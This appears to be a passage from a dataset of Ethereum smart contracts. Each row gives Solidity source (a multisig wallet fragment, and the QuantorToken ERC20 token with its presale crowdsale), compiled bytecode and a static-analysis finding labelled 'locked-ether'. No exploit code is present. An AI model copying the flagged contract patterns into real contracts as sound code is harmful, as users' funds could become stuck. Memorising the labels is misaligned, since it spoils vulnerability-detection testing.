/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x6060604052361561011a5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c278114610165578063173825d91461019757806320ea8d86146101b85780632f54bf6e146101d05780633411c81c1461020357806354741525146102395780637065cb4814610268578063784547a7146102895780638b51d13f146102b35780639ace38c2146102db578063a0e67e2b1461039a578063a8abe69a14610401578063b5dc40c314610478578063b77bf600146104e2578063ba51a6df14610507578063c01a8c841461051f578063c642747414610537578063d74f8edd146105ae578063dc8452cd146105d3578063e20056e6146105f8578063ee22610b1461061f575b5b60003411156101625733600160a060020a03167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c3460405190815260200160405180910390a25b5b005b341561017057600080fd5b61017b600435610637565b604051600160a060020a03909116815260200160405180910390f35b34156101a257600080fd5b610162600160a060020a0360043516610669565b005b34156101c357600080fd5b61016260043561081a565b005b34156101db57600080fd5b6101ef600160a060020a03600435166108fc565b604051901515815260200160405180910390f35b341561020e57600080fd5b6101ef600435600160a060020a0360243516610911565b604051901515815260200160405180910390f35b341561024457600080fd5b61025660043515156024351515610931565b60405190815260200160405180910390f35b341561027357600080fd5b610162600160a060020a03600435166109a0565b005b341561029457600080fd5b6101ef600435610add565b604051901515815260200160405180910390f35b34156102be57600080fd5b610256600435610b71565b60405190815260200160405180910390f35b34156102e657600080fd5b6102f1600435610bf0565b604051600160a060020a03851681526020810184905281151560608201526080604082018181528454600260001961010060018416150201909116049183018290529060a0830190859080156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b50509550505050505060405180910390f35b34156103a557600080fd5b6103ad610c24565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103ed5780820151818401525b6020016103d4565b505050509050019250505060405180910390f35b341561040c57600080fd5b6103ad60043560243560443515156064351515610c8d565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103ed5780820151818401525b6020016103d4565b505050509050019250505060405180910390f35b341561048357600080fd5b6103ad600435610dbb565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103ed5780820151818401525b6020016103d4565b505050509050019250505060405180910390f35b34156104ed57600080fd5b610256610f3d565b60405190815260200160405180910390f35b341561051257600080fd5b610162600435610f43565b005b341561052a57600080fd5b610162600435610fd9565b005b341561054257600080fd5b61025660048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506110cb95505050505050565b60405190815260200160405180910390f35b34156105b957600080fd5b6102566110eb565b60405190815260200160405180910390f35b34156105de57600080fd5b6102566110f0565b60405190815260200160405180910390f35b341561060357600080fd5b610162600160a060020a03600435811690602435166110f6565b005b341561062a57600080fd5b6101626004356112b7565b005b600380548290811061064557fe5b906000526020600020900160005b915054906101000a9004600160a060020a031681565b600030600160a060020a031633600160a060020a031614151561068b57600080fd5b600160a060020a038216600090815260026020526040902054829060ff1615156106b457600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156107af5782600160a060020a03166003838154811015156106fe57fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a031614156107a35760038054600019810190811061073f57fe5b906000526020600020900160005b9054906101000a9004600160a060020a031660038381548110151561076e57fe5b906000526020600020900160005b6101000a815481600160a060020a030219169083600160a060020a031602179055506107af565b5b6001909101906106d7565b6003805460001901906107c290826115cd565b5060035460045411156107db576003546107db90610f43565b5b82600160a060020a03167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25b5b505b5050565b33600160a060020a03811660009081526002602052604090205460ff16151561084257600080fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff16151561087757600080fd5b600084815260208190526040902060030154849060ff161561089857600080fd5b6000858152600160209081526040808320600160a060020a033316808552925291829020805460ff1916905586917ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e9905160405180910390a35b5b505b50505b5050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b6005548110156109985783801561095e575060008181526020819052604090206003015460ff16155b806109825750828015610982575060008181526020819052604090206003015460ff165b5b1561098f576001820191505b5b600101610935565b5b5092915050565b30600160a060020a031633600160a060020a03161415156109c057600080fd5b600160a060020a038116600090815260026020526040902054819060ff16156109e857600080fd5b81600160a060020a03811615156109fe57600080fd5b60038054905060010160045460328211158015610a1b5750818111155b8015610a2657508015155b8015610a3157508115155b1515610a3c57600080fd5b600160a060020a0385166000908152600260205260409020805460ff191660019081179091556003805490918101610a7483826115cd565b916000526020600020900160005b8154600160a060020a03808a166101009390930a8381029102199091161790915590507ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b50505b505b505b50565b600080805b600354811015610b695760008481526001602052604081206003805491929184908110610b0b57fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610b4d576001820191505b600454821415610b605760019250610b69565b5b600101610ae2565b5b5050919050565b6000805b600354811015610be95760008381526001602052604081206003805491929184908110610b9e57fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610be0576001820191505b5b600101610b75565b5b50919050565b6000602081905290815260409020805460018201546003830154600160a060020a0390921692909160029091019060ff1684565b610c2c611621565b6003805480602002602001604051908101604052809291908181526020018280548015610c8257602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610c64575b505050505090505b90565b610c95611621565b610c9d611621565b600080600554604051805910610cb05750595b908082528060200260200182016040525b50925060009150600090505b600554811015610d4857858015610cf6575060008181526020819052604090206003015460ff16155b80610d1a5750848015610d1a575060008181526020819052604090206003015460ff165b5b15610d3f5780838381518110610d2d57fe5b60209081029091010152600191909101905b5b600101610ccd565b878703604051805910610d585750595b908082528060200260200182016040525b5093508790505b86811015610daf57828181518110610d8457fe5b906020019060200201518489830381518110610d9c57fe5b602090810290910101525b600101610d70565b5b505050949350505050565b610dc3611621565b610dcb611621565b6003546000908190604051805910610de05750595b908082528060200260200182016040525b50925060009150600090505b600354811015610ec35760008581526001602052604081206003805491929184908110610e2657fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610eba576003805482908110610e6f57fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316838381518110610e9b57fe5b600160a060020a03909216602092830290910190910152600191909101905b5b600101610dfd565b81604051805910610ed15750595b908082528060200260200182016040525b509350600090505b81811015610f3457828181518110610efe57fe5b90602001906020020151848281518110610f1457fe5b600160a060020a039092166020928302909101909101525b600101610eea565b5b505050919050565b60055481565b30600160a060020a031633600160a060020a0316141515610f6357600080fd5b6003548160328211801590610f785750818111155b8015610f8357508015155b8015610f8e57508115155b1515610f9957600080fd5b60048390557fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a8360405190815260200160405180910390a15b5b50505b50565b33600160a060020a03811660009081526002602052604090205460ff16151561100157600080fd5b6000828152602081905260409020548290600160a060020a0316151561102657600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff161561105a57600080fd5b6000858152600160208181526040808420600160a060020a033316808652925292839020805460ff191690921790915586917f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef905160405180910390a36108f2856112b7565b5b5b50505b505b5050565b60006110d88484846114a6565b90506110e381610fd9565b5b9392505050565b603281565b60045481565b600030600160a060020a031633600160a060020a031614151561111857600080fd5b600160a060020a038316600090815260026020526040902054839060ff16151561114157600080fd5b600160a060020a038316600090815260026020526040902054839060ff161561116957600080fd5b600092505b6003548310156112115784600160a060020a031660038481548110151561119157fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a0316141561120557836003848154811015156111d057fe5b906000526020600020900160005b6101000a815481600160a060020a030219169083600160a060020a03160217905550611211565b5b60019092019161116e565b600160a060020a03808616600081815260026020526040808220805460ff199081169091559388168252908190208054909316600117909255907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b90905160405180910390a283600160a060020a03167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b505b505b505050565b33600160a060020a03811660009081526002602052604081205490919060ff1615156112e257600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff16151561131757600080fd5b600085815260208190526040902060030154859060ff161561133857600080fd5b61134186610add565b15611499576000868152602081815260409182902060038101805460ff1916600190811790915581548183015460028085018054959c5061142897600160a060020a039094169692956000199581161561010002959095019094160492918391601f83018190048102019051908101604052809291908181526020018280546001816001161561010002031660029004801561141e5780601f106113f35761010080835404028352916020019161141e565b820191906000526020600020905b81548152906001019060200180831161140157829003601f168201915b50505050506115a5565b1561145f57857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611499565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260038501805460ff191690555b5b5b5b505b50505b505050565b600083600160a060020a03811615156114be57600080fd5b600554915060806040519081016040908152600160a060020a0387168252602080830187905281830186905260006060840181905285815290819052208151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039190911617815560208201518160010155604082015181600201908051611549929160200190611645565b506060820151600391909101805460ff191691151591909117905550600580546001019055817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a25b5b509392505050565b6000806040516020840160008287838a8c6187965a03f1925050508091505b50949350505050565b815481835581811511610813576000838152602090206108139181019083016116c4565b5b505050565b815481835581811511610813576000838152602090206108139181019083016116c4565b5b505050565b60206040519081016040526000815290565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061168657805160ff19168380011785556116b3565b828001600101855582156116b3579182015b828111156116b3578251825591602001919060010190611698565b5b506116c09291506116c4565b5090565b610c8a91905b808211156116c057600081556001016116ca565b5090565b905600a165627a7a723058207f0c3b6b210b03373d874340e2026c5722efda8288aec2628dae7c49bd22d5200029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 6,083 |
0xa42b1bdc7ee1083122d63c445f67c4d6b5892c32
|
pragma solidity ^0.4.18;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/*
* Haltable
*
* Abstract contract that allows children to implement an
* emergency stop mechanism. Differs from Pausable by requiring a state.
*
*
* Originally envisioned in FirstBlood ICO contract.
*/
contract Haltable is Ownable {
bool public halted = false;
modifier inNormalState {
require(!halted);
_;
}
modifier inEmergencyState {
require(halted);
_;
}
// called by the owner on emergency, triggers stopped state
function halt() external onlyOwner inNormalState {
halted = true;
}
// called by the owner on end of emergency, returns to normal state
function unhalt() external onlyOwner inEmergencyState {
halted = false;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Burnable
*
* @dev Standard ERC20 token
*/
contract Burnable is StandardToken {
using SafeMath for uint;
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint value);
function burn(uint _value) returns (bool success) {
require(_value > 0 && balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint _value) returns (bool success) {
require(_from != 0x0 && _value > 0 && balances[_from] >= _value);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
totalSupply = totalSupply.sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Burn(_from, _value);
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
require(_to != 0x0); //use burn
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
require(_to != 0x0); //use burn
return super.transferFrom(_from, _to, _value);
}
}
/**
* @title QuantorToken
*
* @dev Burnable Ownable ERC20 token
*/
contract QuantorToken is Burnable, Ownable {
string public constant name = "Quant";
string public constant symbol = "QNT";
uint8 public constant decimals = 18;
uint public constant INITIAL_SUPPLY = 2000000000 * 1 ether;
/* The finalizer contract that allows unlift the transfer limits on this token */
address public releaseAgent;
/** A crowdsale contract can release us to the wild if ICO success. If false we are are in transfer lock up period.*/
bool public released = false;
/** Map of agents that are allowed to transfer tokens regardless of the lock down period. These are crowdsale contracts and possible the team multisig itself. */
mapping (address => bool) public transferAgents;
/**
* Limit token transfer until the crowdsale is over.
*
*/
modifier canTransfer(address _sender) {
require(released || transferAgents[_sender]);
_;
}
/** The function can be called only before or after the tokens have been released */
modifier inReleaseState(bool releaseState) {
require(releaseState == released);
_;
}
/** The function can be called only by a whitelisted release agent. */
modifier onlyReleaseAgent() {
require(msg.sender == releaseAgent);
_;
}
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
function QuantorToken() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
/**
* Set the contract that can call release and make the token transferable.
*
* Design choice. Allow reset the release agent to fix fat finger mistakes.
*/
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
require(addr != 0x0);
// We don't do interface check here as we might want to a normal wallet address to act as a release agent
releaseAgent = addr;
}
function release() onlyReleaseAgent inReleaseState(false) public {
released = true;
}
/**
* Owner can allow a particular address (a crowdsale contract) to transfer tokens despite the lock up period.
*/
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
require(addr != 0x0);
transferAgents[addr] = state;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) {
// Call Burnable.transfer()
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) {
// Call Burnable.transferForm()
return super.transferFrom(_from, _to, _value);
}
function burn(uint _value) onlyOwner returns (bool success) {
return super.burn(_value);
}
function burnFrom(address _from, uint _value) onlyOwner returns (bool success) {
return super.burnFrom(_from, _value);
}
}
contract InvestorWhiteList is Ownable {
mapping (address => bool) public investorWhiteList;
mapping (address => address) public referralList;
function InvestorWhiteList() {
}
function addInvestorToWhiteList(address investor) external onlyOwner {
require(investor != 0x0 && !investorWhiteList[investor]);
investorWhiteList[investor] = true;
}
function removeInvestorFromWhiteList(address investor) external onlyOwner {
require(investor != 0x0 && investorWhiteList[investor]);
investorWhiteList[investor] = false;
}
//when new user will contribute ICO contract will automatically send bonus to referral
function addReferralOf(address investor, address referral) external onlyOwner {
require(investor != 0x0 && referral != 0x0 && referralList[investor] == 0x0 && investor != referral);
referralList[investor] = referral;
}
function isAllowed(address investor) constant external returns (bool result) {
return investorWhiteList[investor];
}
function getReferralOf(address investor) constant external returns (address result) {
return referralList[investor];
}
}
contract PriceReceiver {
address public ethPriceProvider;
modifier onlyEthPriceProvider() {
require(msg.sender == ethPriceProvider);
_;
}
function receiveEthPrice(uint ethUsdPrice) external;
function setEthPriceProvider(address provider) external;
}
contract QuantorPreSale is Haltable, PriceReceiver {
using SafeMath for uint;
string public constant name = "Quantor Token ICO";
QuantorToken public token;
address public beneficiary;
InvestorWhiteList public investorWhiteList;
uint public constant QNTUsdRate = 1; //0.01 cents fot one token
uint public ethUsdRate;
uint public btcUsdRate;
uint public hardCap;
uint public softCap;
uint public collected = 0;
uint public tokensSold = 0;
uint public weiRefunded = 0;
uint public startTime;
uint public endTime;
bool public softCapReached = false;
bool public crowdsaleFinished = false;
mapping (address => uint) public deposited;
uint public constant PRICE_BEFORE_SOFTCAP = 65; // in cents * 100
uint public constant PRICE_AFTER_SOFTCAP = 80; // in cents * 100
event SoftCapReached(uint softCap);
event NewContribution(address indexed holder, uint tokenAmount, uint etherAmount);
event NewReferralTransfer(address indexed investor, address indexed referral, uint tokenAmount);
event Refunded(address indexed holder, uint amount);
modifier icoActive() {
require(now >= startTime && now < endTime);
_;
}
modifier icoEnded() {
require(now >= endTime);
_;
}
modifier minInvestment() {
require(msg.value.mul(ethUsdRate).div(QNTUsdRate) >= 50000 * 1 ether);
_;
}
modifier inWhiteList() {
require(investorWhiteList.isAllowed(msg.sender));
_;
}
function QuantorPreSale(
uint _hardCapQNT,
uint _softCapQNT,
address _token,
address _beneficiary,
address _investorWhiteList,
uint _baseEthUsdPrice,
uint _startTime,
uint _endTime
) {
hardCap = _hardCapQNT.mul(1 ether);
softCap = _softCapQNT.mul(1 ether);
token = QuantorToken(_token);
beneficiary = _beneficiary;
investorWhiteList = InvestorWhiteList(_investorWhiteList);
startTime = _startTime;
endTime = _endTime;
ethUsdRate = _baseEthUsdPrice;
}
function() payable minInvestment inWhiteList {
doPurchase();
}
function refund() external icoEnded {
require(softCapReached == false);
require(deposited[msg.sender] > 0);
uint refund = deposited[msg.sender];
deposited[msg.sender] = 0;
msg.sender.transfer(refund);
weiRefunded = weiRefunded.add(refund);
Refunded(msg.sender, refund);
}
function withdraw() external icoEnded onlyOwner {
require(softCapReached);
beneficiary.transfer(collected);
token.transfer(beneficiary, token.balanceOf(this));
crowdsaleFinished = true;
}
function calculateTokens(uint ethReceived) internal view returns (uint) {
if (!softCapReached) {
uint tokens = ethReceived.mul(ethUsdRate.mul(100)).div(PRICE_BEFORE_SOFTCAP);
if (softCap >= tokensSold.add(tokens)) return tokens;
uint firstPart = softCap.sub(tokensSold);
uint firstPartInWei = firstPart.mul(PRICE_BEFORE_SOFTCAP).div(ethUsdRate.mul(100));
uint secondPartInWei = ethReceived.sub(firstPart.mul(PRICE_BEFORE_SOFTCAP).div(ethUsdRate.mul(100)));
return firstPart.add(secondPartInWei.mul(ethUsdRate.mul(100)).div(PRICE_AFTER_SOFTCAP));
}
return ethReceived.mul(ethUsdRate.mul(100)).div(PRICE_AFTER_SOFTCAP);
}
function receiveEthPrice(uint ethUsdPrice) external onlyEthPriceProvider {
require(ethUsdPrice > 0);
ethUsdRate = ethUsdPrice;
}
function setEthPriceProvider(address provider) external onlyOwner {
require(provider != 0x0);
ethPriceProvider = provider;
}
function setNewWhiteList(address newWhiteList) external onlyOwner {
require(newWhiteList != 0x0);
investorWhiteList = InvestorWhiteList(newWhiteList);
}
function doPurchase() private icoActive inNormalState {
require(!crowdsaleFinished);
uint tokens = calculateTokens(msg.value);
uint newTokensSold = tokensSold.add(tokens);
require(newTokensSold <= hardCap);
if (!softCapReached && newTokensSold >= softCap) {
softCapReached = true;
SoftCapReached(softCap);
}
collected = collected.add(msg.value);
tokensSold = newTokensSold;
deposited[msg.sender] = deposited[msg.sender].add(msg.value);
token.transfer(msg.sender, tokens);
NewContribution(msg.sender, tokens, msg.value);
}
function transferOwnership(address newOwner) onlyOwner icoEnded {
super.transferOwnership(newOwner);
}
}
|
0x608060405260043610610180576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146102cd5780632b9edee91461035d5780633197cbb61461038c5780633535ab2a146103b757806338af3eed146103e25780633b478fc5146104395780633ccfd60b146104645780633fdcef0d1461047b578063518ab2a8146104a6578063590e1ae3146104d15780635da89ac0146104e85780635ed7ca5b1461051357806378e979251461052a57806384bcefd4146105555780638da5cb5b14610580578063906a26e0146105d7578063a47001a814610602578063a526f74f1461062f578063b9b8af0b1461065a578063cb13cddb14610689578063cb3e64fd146106e0578063d1ea8b89146106f7578063dccdc89314610722578063e342c2e614610765578063e41f7dc1146107bc578063e4e9bcca14610813578063ece84fd514610856578063f2fde38b14610885578063fb86a404146108c8578063fc0c546a146108f3575b690a968163f0a57b4000006101b360016101a56005543461094a90919063ffffffff16565b61097d90919063ffffffff16565b101515156101c057600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663babcc539336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561027d57600080fd5b505af1158015610291573d6000803e3d6000fd5b505050506040513d60208110156102a757600080fd5b810190808051906020019092919050505015156102c357600080fd5b6102cb610998565b005b3480156102d957600080fd5b506102e2610caf565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610322578082015181840152602081019050610307565b50505050905090810190601f16801561034f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561036957600080fd5b50610372610ce8565b604051808215151515815260200191505060405180910390f35b34801561039857600080fd5b506103a1610cfb565b6040518082815260200191505060405180910390f35b3480156103c357600080fd5b506103cc610d01565b6040518082815260200191505060405180910390f35b3480156103ee57600080fd5b506103f7610d07565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561044557600080fd5b5061044e610d2d565b6040518082815260200191505060405180910390f35b34801561047057600080fd5b50610479610d33565b005b34801561048757600080fd5b5061049061105c565b6040518082815260200191505060405180910390f35b3480156104b257600080fd5b506104bb611061565b6040518082815260200191505060405180910390f35b3480156104dd57600080fd5b506104e6611067565b005b3480156104f457600080fd5b506104fd611224565b6040518082815260200191505060405180910390f35b34801561051f57600080fd5b5061052861122a565b005b34801561053657600080fd5b5061053f6112be565b6040518082815260200191505060405180910390f35b34801561056157600080fd5b5061056a6112c4565b6040518082815260200191505060405180910390f35b34801561058c57600080fd5b506105956112ca565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105e357600080fd5b506105ec6112ef565b6040518082815260200191505060405180910390f35b34801561060e57600080fd5b5061062d600480360381019080803590602001909291905050506112f5565b005b34801561063b57600080fd5b5061064461136a565b6040518082815260200191505060405180910390f35b34801561066657600080fd5b5061066f61136f565b604051808215151515815260200191505060405180910390f35b34801561069557600080fd5b506106ca600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611382565b60405180828152602001915